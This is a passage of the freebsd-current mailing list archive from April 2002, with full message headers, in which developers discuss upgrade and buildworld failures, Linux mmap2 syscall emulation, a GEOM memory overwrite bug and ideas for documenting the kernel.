going on under the kernel hood. I agree that such a book would rapidly be out of date, but I also see the necessity thereof. So, it's time to question the assumption that the information you want available should be in "a book". Many websites have "annotation" as a form of ad-hoc documentation (e.g. php.net). Why not have someone take a crack at documenting the FreeBSD kernel, and perhaps use some annotation feature to create a "living" document which (hopefully) comes close to describing the kernel architechture? If you want to track a moving target, perhaps you need to use a moving track? ------ Dave Hayes - Consultant - Altadena CA, USA - dave@jetcafe.org >>> The opinions expressed above are entirely my own <<< "What's so special about the Net? People -still- don't listen..." -The Unknown Drummer To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue Apr 23 14:55:45 2002 Delivered-To: freebsd-current@freebsd.org Received: from mailout06.sul.t-online.com (mailout06.sul.t-online.com [194.25.134.19]) by hub.freebsd.org (Postfix) with ESMTP id 5843C37B41C for ; Tue, 23 Apr 2002 14:55:42 -0700 (PDT) Received: from fwd03.sul.t-online.de by mailout06.sul.t-online.com with smtp id 1708GD-0001su-02; Tue, 23 Apr 2002 23:55:41 +0200 Received: from bender (310048585289-0001@[217.80.84.110]) by fwd03.sul.t-online.com with smtp id 1708GA-1OEkxEC; Tue, 23 Apr 2002 23:55:38 +0200 Message-ID: <001901c1eb11$9abdb5a0$594bfea9@bender> From: Jeff.Kelly@t-online.de (=?iso-8859-1?Q?Christian_Fl=FCgel?=) To: Subject: upgrade from 4.5 to current fails Date: Tue, 23 Apr 2002 23:55:37 +0200 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2600.0000 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 X-Sender: 310048585289-0001@t-dialin.net Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Hello Folks. I currently try to upgrade from 4.5 STABLE to CURRENT. I have cvsuped my source and already made buildworld and buildkernel. But installworld failed with Signal 12 while installing chpass. When I try to remove chpass from hand I get a "operation not permitted" error. Apparently the immutable flag prevents the file from being deleted. Which is strange because the securelevel should be 0 when I'm in single user mode. So I should be able to change the immutable flag. So I booted from my fixit floppy mounted my slices and chrooted to my root partition. But even then installworld dies with Signal 12 while processing chpass. And rm -f chpass will give me an "operation not permitted" error. So what is wrong here? Any Ideas? Regards Christian To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue Apr 23 15: 2:44 2002 Delivered-To: freebsd-current@freebsd.org Received: from nic-naa.net (216-220-241-232.midmaine.com [216.220.241.232]) by hub.freebsd.org (Postfix) with ESMTP id 55E1537B405 for ; Tue, 23 Apr 2002 15:02:33 -0700 (PDT) Received: from nic-naa.net (localhost.nic-naa.net [127.0.0.1]) by nic-naa.net (8.11.6/8.11.6) with ESMTP id g3NLtis28172; Tue, 23 Apr 2002 17:55:44 -0400 (EDT) (envelope-from brunner@nic-naa.net) Message-Id: <200204232155.g3NLtis28172@nic-naa.net> To: Jeff.Kelly@t-online.de (=?iso-8859-1?Q?Christian_Fl=FCgel?=) Cc: freebsd-current@FreeBSD.ORG, brunner@nic-naa.net Subject: Re: upgrade from 4.5 to current fails In-Reply-To: Your message of "Tue, 23 Apr 2002 23:55:37 +0200." <001901c1eb11$9abdb5a0$594bfea9@bender> Date: Tue, 23 Apr 2002 17:55:44 -0400 From: Eric Brunner-Williams in Portland Maine Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Yeah. I picked those up too -- the signal 12 @ the install phase of ch. I also got another shell failure when doing the depend phase of the kernel build, but since I don't care what is in vers.c, and I don't care about the ch set of utilities, I cheerfully continued. On the second make the signal 12's were not repeated. I converted three nodes from -STABLE to -CURRENT, getting the same shell error at the same place. Having spent many paid hours debugging the shell, this wasn't worth the unpaid time to fix, since the work-around is simply a hosted (2nd) build, in addition to the cross (1st) build. Enjoy. Eric To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue Apr 23 15:19:34 2002 Delivered-To: freebsd-current@freebsd.org Received: from mailout01.sul.t-online.com (mailout01.sul.t-online.com [194.25.134.80]) by hub.freebsd.org (Postfix) with ESMTP id 4357537B41C for ; Tue, 23 Apr 2002 15:19:28 -0700 (PDT) Received: from fwd03.sul.t-online.de by mailout01.sul.t-online.com with smtp id 1708VP-0001KU-02; Wed, 24 Apr 2002 00:11:23 +0200 Received: from bender (310048585289-0001@[217.80.84.110]) by fwd03.sul.t-online.com with smtp id 1708VN-14osq0C; Wed, 24 Apr 2002 00:11:21 +0200 Message-ID: <005e01c1eb13$cce043c0$594bfea9@bender> From: Jeff.Kelly@t-online.de (=?iso-8859-1?Q?Christian_Fl=FCgel?=) To: "Eric Brunner-Williams in Portland Maine" Cc: , References: <200204232155.g3NLtis28172@nic-naa.net> Subject: Re: upgrade from 4.5 to current fails Date: Wed, 24 Apr 2002 00:11:18 +0200 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 8bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2600.0000 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 X-Sender: 310048585289-0001@t-dialin.net Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG ----- Original Message ----- From: "Eric Brunner-Williams in Portland Maine" To: "Christian Flügel" Cc: ; Sent: Tuesday, April 23, 2002 11:55 PM Subject: Re: upgrade from 4.5 to current fails > Yeah. I picked those up too -- the signal 12 @ the install phase of ch. > I also got another shell failure when doing the depend phase of the kernel > build, but since I don't care what is in vers.c, and I don't care about the > ch set of utilities, I cheerfully continued. It is strange that nothing is mentioned in either UPDATING or README about these problems. > Having spent many paid hours debugging the shell, this wasn't worth the > unpaid time to fix, since the work-around is simply a hosted (2nd) build, > in addition to the cross (1st) build. What do you mean with hosted build? installworld just plain stoppped on this error which has left me with a system in an unusable state. So what can I do (except reinstalling everything) do get things going again. Regards Christian To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue Apr 23 15:31:48 2002 Delivered-To: freebsd-current@freebsd.org Received: from mailhub.yumyumyum.org (dsl092-171-091.wdc1.dsl.speakeasy.net [66.92.171.91]) by hub.freebsd.org (Postfix) with SMTP id 9D29537B4AE for ; Tue, 23 Apr 2002 15:31:20 -0700 (PDT) Received: (qmail 31726 invoked from network); 23 Apr 2002 22:30:58 -0000 Received: from dsl092-171-091.wdc1.dsl.speakeasy.net (66.92.171.91) by dsl092-171-091.wdc1.dsl.speakeasy.net with SMTP; 23 Apr 2002 22:30:58 -0000 Date: Tue, 23 Apr 2002 18:30:58 -0400 (EDT) From: Kenneth Culver To: Andrew Gallatin Cc: freebsd-hackers@freebsd.org, Subject: Re: implementing linux mmap2 syscall In-Reply-To: <15557.27747.802212.659760@grasshopper.cs.duke.edu> Message-ID: <20020423181748.W31638-100000@alpha.yumyumyum.org> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG > Kenneth Culver writes: > > OK, I found another problem, here it is: > > > > static void > > linux_prepsyscall(struct trapframe *tf, int *args, u_int *code, caddr_t > > *params) > > { > > args[0] = tf->tf_ebx; > > args[1] = tf->tf_ecx; > > args[2] = tf->tf_edx; > > args[3] = tf->tf_esi; > > args[4] = tf->tf_edi; > > *params = NULL; /* no copyin */ > > } > > > > Basically, linux_mmap2 takes 6 args, and this looks here like only 5 args are > > making it in... I checked this because the sixth argument to linux_mmap2() in > > truss was showing 0x6, but when I printed out that arg from the kernel, it > > was showing 0x0. Am I correct here? > > > > Ken > > Yes. According to http://john.fremlin.de/linux/asm/, linux used to > parse only 5 args but now it parses six. Try adding: > args[5] = tf->tf_ebp; > > Drew > > OK, I THINK I found what calls the actual kernel syscall handler, and sets it's args first, but I'm not sure: from linux_locore.s NON_GPROF_ENTRY(linux_sigcode) call *LINUX_SIGF_HANDLER(%esp) leal LINUX_SIGF_SC(%esp),%ebx /* linux scp */ movl LINUX_SC_GS(%ebx),%gs movl %esp, %ebx /* pass sigframe */ push %eax /* fake ret addr */ movl $LINUX_SYS_linux_sigreturn,%eax /* linux_sigreturn() */ int $0x80 /* enter kernel with args */ 0: jmp 0b ALIGN_TEXT I think the stuff above copies the args, and whatnot, but I'm not really sure where it does this exactly... It calls LINUX_SIGF_HANDLER, which then calls %esp's sf_handler function. That is where I draw a blank, I don't know which function this is calling, and can't find where it's being set. I think this might be what I want to change though. :-P Does anyone who actually knows assembly have any ideas? Ken To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue Apr 23 15:33: 9 2002 Delivered-To: freebsd-current@freebsd.org Received: from mail.speakeasy.net (mail13.speakeasy.net [216.254.0.213]) by hub.freebsd.org (Postfix) with ESMTP id CEB9337B41E for ; Tue, 23 Apr 2002 15:32:41 -0700 (PDT) Received: (qmail 8586 invoked from network); 23 Apr 2002 22:32:41 -0000 Received: from unknown (HELO server.baldwin.cx) ([216.27.160.63]) (envelope-sender ) by mail13.speakeasy.net (qmail-ldap-1.03) with DES-CBC3-SHA encrypted SMTP for ; 23 Apr 2002 22:32:41 -0000 Received: from laptop.baldwin.cx (gw1.twc.weather.com [216.133.140.1]) by server.baldwin.cx (8.11.6/8.11.6) with ESMTP id g3NMWev04111; Tue, 23 Apr 2002 18:32:40 -0400 (EDT) (envelope-from jhb@FreeBSD.org) Message-ID: X-Mailer: XFMail 1.5.2 on FreeBSD X-Priority: 3 (Normal) Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 8bit MIME-Version: 1.0 In-Reply-To: <20020418164153.71537.qmail@web21107.mail.yahoo.com> Date: Tue, 23 Apr 2002 18:31:49 -0400 (EDT) From: John Baldwin To: Hiten Pandya Subject: Re: Heads up: -current sucks today :-) Cc: current@FreeBSD.org, Robert Watson Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On 18-Apr-2002 Hiten Pandya wrote: > --- Robert Watson wrote: >> I've had four seperate and distinct panics on my -current box from >> yesterday in the last twenty minutes. -CURRENT appears to be somewhat >> unstable. Yes, this is -CURRENT; please wear a hard hat and avoid >> manipulating critical data using you -CURRENT box until things settle >> down. > > I have been seeing a 'witness_get exhausted' message for quite a long > time. I have disabled SMP on my kernel as of now, but still have to > figure out where and why this message is coming. The witness_get thing was fixed a week or so ago with the lock descriptions added to mtx_init(). -- John Baldwin <>< http://www.FreeBSD.org/~jhb/ "Power Users Use the Power to Serve!" - http://www.FreeBSD.org/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue Apr 23 15:33:53 2002 Delivered-To: freebsd-current@freebsd.org Received: from mail.speakeasy.net (mail12.speakeasy.net [216.254.0.212]) by hub.freebsd.org (Postfix) with ESMTP id B280337B43E for ; Tue, 23 Apr 2002 15:32:53 -0700 (PDT) Received: (qmail 23150 invoked from network); 23 Apr 2002 22:32:53 -0000 Received: from unknown (HELO server.baldwin.cx) ([216.27.160.63]) (envelope-sender ) by mail12.speakeasy.net (qmail-ldap-1.03) with DES-CBC3-SHA encrypted SMTP for ; 23 Apr 2002 22:32:53 -0000 Received: from laptop.baldwin.cx (gw1.twc.weather.com [216.133.140.1]) by server.baldwin.cx (8.11.6/8.11.6) with ESMTP id g3NMWqv04119; Tue, 23 Apr 2002 18:32:52 -0400 (EDT) (envelope-from jhb@FreeBSD.org) Message-ID: X-Mailer: XFMail 1.5.2 on FreeBSD X-Priority: 3 (Normal) Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 8bit MIME-Version: 1.0 In-Reply-To: <82146.1019562857@critter.freebsd.dk> Date: Tue, 23 Apr 2002 18:32:01 -0400 (EDT) From: John Baldwin To: Poul-Henning Kamp Subject: RE: Memory overwrite problem in the -current kernel ?? Cc: current@FreeBSD.org, cvs-all@FreeBSD.org, cvs-committers@FreeBSD.org Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On 23-Apr-2002 Poul-Henning Kamp wrote: > > This commit detects a memory overwrite problem in the kernel which > happens before we ever get into userland for the first time. > > The commit which causes the problem to appear is my own commit to > subr_disklabel.c (1.65). > > If the block below is put back in subr_disklabel.c the memory overwrite > problem goes away (or at least doesn't happen in GEOM). > > My testbox is a single-cpu machine. > > Something is screwed somewhere... Uhh, you mean if the dksort_mtx is put back? What if the function doesn't do anything, does it still work? Also, what if you just have the static mtx, maybe the mtx is preventing a buffer overflow from hosing other data? > Poul-Henning > > ] #ifdef notquite > ] /* > ] * Mutex to use when delaying niced I/O bound processes in bioqdisksort(). > ] */ > ] static struct mtx dksort_mtx; > ] static void > ] dksort_init(void) > ] { > ] > ] mtx_init(&dksort_mtx, "dksort", NULL, MTX_DEF); > ] } > ] SYSINIT(dksort, SI_SUB_DRIVERS, SI_ORDER_MIDDLE, dksort_init, NULL) > ] #endif > > > In message <200204231148.g3NBmkp36899@freefall.freebsd.org>, Poul-Henning > Kamp > writes: >>phk 2002/04/23 04:48:45 PDT >> >> Modified files: >> sys/geom geom.h geom_dump.c geom_enc.c >> geom_slice.c geom_subr.c >> Log: >> Introduce some serious paranoia to try to catch a memory overwrite problem >> as early as possible. >> >> Sponsored by: DARPA & NAI Labs >> >> Revision Changes Path >> 1.13 +13 -4 src/sys/geom/geom.h >> 1.7 +1 -0 src/sys/geom/geom_dump.c >> 1.3 +1 -0 src/sys/geom/geom_enc.c >> 1.11 +2 -0 src/sys/geom/geom_slice.c >> 1.8 +46 -2 src/sys/geom/geom_subr.c >> > > -- > Poul-Henning Kamp | UNIX since Zilog Zeus 3.20 > phk@FreeBSD.ORG | TCP/IP since RFC 956 > FreeBSD committer | BSD since 4.3-tahoe > Never attribute to malice what can adequately be explained by incompetence. -- John Baldwin <>< http://www.FreeBSD.org/~jhb/ "Power Users Use the Power to Serve!" - http://www.FreeBSD.org/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue Apr 23 15:37:30 2002 Delivered-To: freebsd-current@freebsd.org Received: from topperwein.dyndns.org (acs-24-154-28-203.zoominternet.net [24.154.28.203]) by hub.freebsd.org (Postfix) with ESMTP id 5779937B416; Tue, 23 Apr 2002 15:37:05 -0700 (PDT) Received: from topperwein (topperwein [192.168.168.10]) by topperwein.dyndns.org (8.11.6/8.11.6) with ESMTP id g3NMb4372618; Tue, 23 Apr 2002 18:37:04 -0400 (EDT) (envelope-from behanna@zbzoom.net) Date: Tue, 23 Apr 2002 18:36:59 -0400 (EDT) From: Chris BeHanna Reply-To: Chris BeHanna To: FreeBSD-Stable Cc: freebsd-current@freebsd.org Subject: Re: FreeBSD 4.5-STABLE not easily scalable to large servers ... ? In-Reply-To: <200204232020.g3NKKJb38154@hokkshideh2.jetcafe.org> Message-ID: <20020423182536.N72471-100000@topperwein.dyndns.org> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Tue, 23 Apr 2002, Dave Hayes wrote: > Terry Lambert (who fits my arbitrary definition of a "good" cynic) > writes: > > It's a hazard of Open Source projects, in general, that there are > > so many people hacking on whatever they think is cool that nothing > > ever really gets built to a long term design plan that's stable > > enough that a book stands a chance of having a 1 year lifetime. > > I could not help but notice your multiple attempts at expresing this > particular concept often, that is...an implied necessity of a book > that explains what's going on under the kernel hood. I agree that such > a book would rapidly be out of date, but I also see the necessity > thereof. > > So, it's time to question the assumption that the information you want > available should be in "a book". > > Many websites have "annotation" as a form of ad-hoc documentation > (e.g. php.net). Why not have someone take a crack at documenting the > FreeBSD kernel, and perhaps use some annotation feature to create a > "living" document which (hopefully) comes close to describing the > kernel architechture? > > If you want to track a moving target, perhaps you need to use a moving > track? doxygen is *wonderful* for this for large C++ projects: it's able to draw you inheritance graphs and collaboration diagrams, as well as generate pretty, nicely formatted HTML containing API descriptions generated from javadoc-like comments in header files. I've never tried it on straight C. I suppose it is possible, but given the lack of inheritance, collaboration diagrams are going to be very messy. Still and all, it might be a very useful thing. If not doxygen, then perhaps some way to run the headers through jade/sgmlformat, with docbook-style SGML embedded in comments in header files describing kernel API calls and their parameters, with all typedef'd datatypes appropriately cross-linked. As a hack, one could even embed POD within comments and run perldoc on everything. This could be done nightly or twice daily, with updates appearing live at freebsd.org. HTML versions of man pages with crosslinks go part of the way; what I'm thinking about (if any of you have used doxygen you'll know where I'm going) is a bit more comprehensive, with links to the actual header file from which the documentation was generated, so that the reader can see the declaration in its native context (with the doxygen or docbook comments stripped out for clarity). This still wouldn't address the need for some kind of overall architectural document, as well as the difficulty of keeping it up-to-date, but it would be of tremendous help to everyone working on the project. *If* developers can get used to updating the in-comment documentation whenever they make changes, then this reference would automatically be kept up-to-date. -- Chris BeHanna Software Engineer (Remove "bogus" before responding.) behanna@bogus.zbzoom.net I was raised by a pack of wild corn dogs. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue Apr 23 15:52:38 2002 Delivered-To: freebsd-current@freebsd.org Received: from web21105.mail.yahoo.com (web21105.mail.yahoo.com [216.136.227.107]) by hub.freebsd.org (Postfix) with SMTP id C301337B405 for ; Tue, 23 Apr 2002 15:52:34 -0700 (PDT) Message-ID: <20020423225234.6052.qmail@web21105.mail.yahoo.com> Received: from [62.254.0.5] by web21105.mail.yahoo.com via HTTP; Tue, 23 Apr 2002 15:52:34 PDT Date: Tue, 23 Apr 2002 15:52:34 -0700 (PDT) From: Hiten Pandya Reply-To: hiten@uk.FreeBSD.org Subject: Re: Heads up: -current sucks today :-) To: John Baldwin Cc: current@FreeBSD.org, Robert Watson In-Reply-To: MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG --- John Baldwin wrote: > > I have been seeing a 'witness_get exhausted' message for quite a long > > time. I have disabled SMP on my kernel as of now, but still have to > > figure out where and why this message is coming. > > The witness_get thing was fixed a week or so ago with the lock descriptions > added to mtx_init(). Which reminds me!, HITEN, read the cvs-all lists regularly. :-) Thanks for the info. :) -- Hiten __________________________________________________ Do You Yahoo!? Yahoo! Games - play chess, backgammon, pool and more http://games.yahoo.com/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue Apr 23 16: 0:53 2002 Delivered-To: freebsd-current@freebsd.org Received: from web21103.mail.yahoo.com (web21103.mail.yahoo.com [216.136.227.105]) by hub.freebsd.org (Postfix) with SMTP id 71D9D37B42B for ; Tue, 23 Apr 2002 16:00:37 -0700 (PDT) Message-ID: <20020423230037.56696.qmail@web21103.mail.yahoo.com> Received: from [62.254.0.5] by web21103.mail.yahoo.com via HTTP; Tue, 23 Apr 2002 16:00:37 PDT Date: Tue, 23 Apr 2002 16:00:37 -0700 (PDT) From: Hiten Pandya Reply-To: hiten@uk.FreeBSD.org Subject: Re: buildkernel borken To: thomas@cuivre.fr.eu.org, freebsd-current@freebsd.org In-Reply-To: <20020422171839.A603@shalmaneser.enst.fr> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Hi, I dont think the fix I am suggesting is correct, but it worked when I last tried to build my CURRENT kernel (yesterday), and it came out right. Do the following: o Remove the following from src/share/mk/bsd.dep.mk beginning at line 31 as suggested in the error output: %%% .if !target(____) .error bsd.dep.mk cannot be included directly. .endif %%% This bit was added by ru@FreeBSD.org in revision 1.33 of : src/share/mk/bsd.dep.mk Regards. -- Hiten --- thomas@cuivre.fr.eu.org wrote: > -------------------------------------------------------------- > >>> Kernel build for SHALMANESER started on Mon Apr 22 17:11:36 CEST 2002 > -------------------------------------------------------------- > ===> SHALMANESER > [...] > cd /usr/src/sys/modules ; > MAKEOBJDIRPREFIX=/usr/obj/usr/src/sys/SHALMANESER/modules > KMODDIR=/boot/kernel DEBUG="-g" DEBUG_FLAGS="-g" MACHINE=i386 make cleandir > ===> 3dfx > "/usr/src/share/mk/bsd.dep.mk", line 31: bsd.dep.mk cannot be included > directly. > *** Error code 1 __________________________________________________ Do You Yahoo!? Yahoo! Games - play chess, backgammon, pool and more http://games.yahoo.com/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue Apr 23 16:19:37 2002 Delivered-To: freebsd-current@freebsd.org Received: from kathmandu.sun.com (kathmandu.sun.com [192.18.98.36]) by hub.freebsd.org (Postfix) with ESMTP id CE07F37B41B for ; Tue, 23 Apr 2002 16:19:32 -0700 (PDT) Received: from sunfin.Finland.Sun.COM ([129.159.101.10]) by kathmandu.sun.com (8.9.3+Sun/8.9.3) with ESMTP id RAA22506 for ; Tue, 23 Apr 2002 17:19:31 -0600 (MDT) Received: from ultrahot.Finland.Sun.COM (ultrahot [129.159.101.87]) by sunfin.Finland.Sun.COM (8.10.2+Sun/8.10.2/ENSMAIL,v2.2) with ESMTP id g3NNJUO13040 for ; Wed, 24 Apr 2002 02:19:30 +0300 (EEST) Received: (from tomppa@localhost) by ultrahot.Finland.Sun.COM (8.11.6+Sun/8.11.6) id g3NNJTt22372; Wed, 24 Apr 2002 02:19:29 +0300 (EEST) From: Tomi Vainio - Sun Finland - MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15557.60417.518052.304110@gargle.gargle.HOWL> Date: Wed, 24 Apr 2002 02:19:29 +0300 To: freebsd-current@freebsd.org Subject: make buildworld fails / neqn / grog /groff X-Mailer: VM 7.00 under 21.4 (patch 6) "Common Lisp" XEmacs Lucid Reply-To: Tomi.Vainio@Sun.COM Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG I haven't been able to build new world since Apr14 or so. I have cvsupped sources multiple times and buildworld always fails on neqn. If I remove this next it fails on grog and so on. Any good ideas what's wrong? Tomppa c++ -O -pipe -I/f/local/sup/5.0/gnu/usr.bin/groff/src/prproc/eqn/../../../../../../contrib/groff/src/preproc/eqn -I. -DHAVE_STDLIB_H=1 -DHAVE_UNISTD_H=1 -DHAVE_DIRENT_H=1 -DHAVE_LIMITS_H=1 -DHAVE_STRING_H=1 -DHAVE_STRINGS_H=1 -DHAVE_MATH_H=1 -DRET_TYPE_SRAND_IS_VOID=1 -DHAVE_SYS_NERR=1 -DHAVE_SYS_ERRLIST=1 -DHAVE_CC_LIMITS_H=1 -DRETSIGTYPE=void -DHAVE_STRUCT_EXCEPTION=1 -DHAVE_GETPAGESIZE=1 -DHAVE_MMAP=1 -DHAVE_FMOD=1 -DHAVE_STRTOL=1 -DHAVE_GETCWD=1 -DHAVE_STRERROR=1 -DHAVE_PUTENV=1 -DHAVE_RENAME=1 -DHAVE_MKSTEMP=1 -DHAVE_STRCASECMP=1 -DHAVE_STRNCASECMP=1 -DHAVE_STRSEP=1 -DHAVE_STRDUP=1 -DSYS_SIGLIST_DECLARED=1 -I/f/local/sup/5.0/gnu/usr.bin/groff/src/preproc/eqn/../../../../../../contrib/groff/src/include -I/f/local/sup/5.0/gnu/usr.bin/groff/src/preproc/eqn/../../../src/include -D__FBSDID=__RCSID -fno-rtti -fno-exceptions -static -o eqn eqn.o main.o lex.o box.o limit.o list.o over.o text.o script.o mark.o other.o delim.o sqrt.o pile.o special.o /f/local/obj/f/local/sup/5.0/i386/f/local/sup/5.0/gnu/usr.bin/groff/src/preproc/eqn/../../../src/libs/libgroff/libgroff.a make: don't know how to make neqn. Stop *** Error code 2 Stop in /f/local/sup/5.0/gnu/usr.bin/groff/src/preproc. *** Error code 1 Stop in /f/local/sup/5.0/gnu/usr.bin/groff/src. *** Error code 1 Stop in /f/local/sup/5.0/gnu/usr.bin/groff. *** Error code 1 Stop in /f/local/sup/5.0. *** Error code 1 Stop in /f/local/sup/5.0. *** Error code 1 Stop in /f/local/sup/5.0. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue Apr 23 16:31:35 2002 Delivered-To: freebsd-current@freebsd.org Received: from avocet.prod.itd.earthlink.net (avocet.mail.pas.earthlink.net [207.217.120.50]) by hub.freebsd.org (Postfix) with ESMTP id 17AAB37B420; Tue, 23 Apr 2002 16:31:31 -0700 (PDT) Received: from pool0099.cvx40-bradley.dialup.earthlink.net ([216.244.42.99] helo=mindspring.com) by avocet.prod.itd.earthlink.net with esmtp (Exim 3.33 #2) id 1709kH-0002Fl-00; Tue, 23 Apr 2002 16:31:07 -0700 Message-ID: <3CC5EE80.1442792A@mindspring.com> Date: Tue, 23 Apr 2002 16:30:08 -0700 From: Terry Lambert X-Mailer: Mozilla 4.7 [en]C-CCK-MCD {Sony} (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: kalts@estpak.ee Cc: "Marc G. Fournier" , freebsd-current@FreeBSD.ORG, freebsd-stable@FreeBSD.ORG Subject: Re: FreeBSD 4.5-STABLE not easily scalable to large servers ... ? References: <3CC4C683.F9AEF14E@mindspring.com> <20020423092909.N1721-100000@mail1.hub.org> <20020423184534.GA30212@myhakas.estpak.ee> <3CC5B52B.49A5A719@mindspring.com> <20020423200449.GA30662@myhakas.estpak.ee> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Vallo Kallaste wrote: > Hmm, ok, but can we have more than one 1G user process at one time? Yes. I said this before: you can have a nearly arbitrary number of UVA's -- you get one per process, in fact, whether you want it or not. Usually, they don't use up the full available address space, only a fraction of it. > Four 500MB ones and so on? > Somehow I've made such conclusion based on previous information. > Should be so, otherwise I don't understand how swapping will fit > into overall picture. Yes, that's how it works (plus some kernel structures are swappable). -- Terry To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue Apr 23 16:32:28 2002 Delivered-To: freebsd-current@freebsd.org Received: from troutmask.apl.washington.edu (troutmask.apl.washington.edu [128.208.78.105]) by hub.freebsd.org (Postfix) with ESMTP id D4B8137B41C for ; Tue, 23 Apr 2002 16:31:49 -0700 (PDT) Received: from troutmask.apl.washington.edu (localhost [127.0.0.1]) by troutmask.apl.washington.edu (8.12.3/8.12.2) with ESMTP id g3NNVnqM031176; Tue, 23 Apr 2002 16:31:49 -0700 (PDT) (envelope-from sgk@troutmask.apl.washington.edu) Received: (from sgk@localhost) by troutmask.apl.washington.edu (8.12.3/8.12.3/Submit) id g3NNVnFd031175; Tue, 23 Apr 2002 16:31:49 -0700 (PDT) Date: Tue, 23 Apr 2002 16:31:49 -0700 From: Steve Kargl To: Tomi Vainio - Sun Finland - Cc: freebsd-current@FreeBSD.ORG Subject: Re: make buildworld fails / neqn / grog /groff Message-ID: <20020423163149.A30985@troutmask.apl.washington.edu> References: <15557.60417.518052.304110@gargle.gargle.HOWL> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5.1i In-Reply-To: <15557.60417.518052.304110@gargle.gargle.HOWL>; from Tomi.Vainio@Sun.COM on Wed, Apr 24, 2002 at 02:19:29AM +0300 Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Wed, Apr 24, 2002 at 02:19:29AM +0300, Tomi Vainio - Sun Finland - wrote: > I haven't been able to build new world since Apr14 or so. I have > cvsupped sources multiple times and buildworld always fails on neqn. > If I remove this next it fails on grog and so on. Any good ideas > what's wrong? > cd /usr/src/usr.bin/make make clean && make depend && make && make install make clean && make cleandepend cd /usr/src make buildworld -- Steve To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue Apr 23 16:38: 6 2002 Delivered-To: freebsd-current@freebsd.org Received: from pheriche.sun.com (pheriche.sun.com [192.18.98.34]) by hub.freebsd.org (Postfix) with ESMTP id 00E8D37B431 for ; Tue, 23 Apr 2002 16:37:50 -0700 (PDT) Received: from sunfin.Finland.Sun.COM 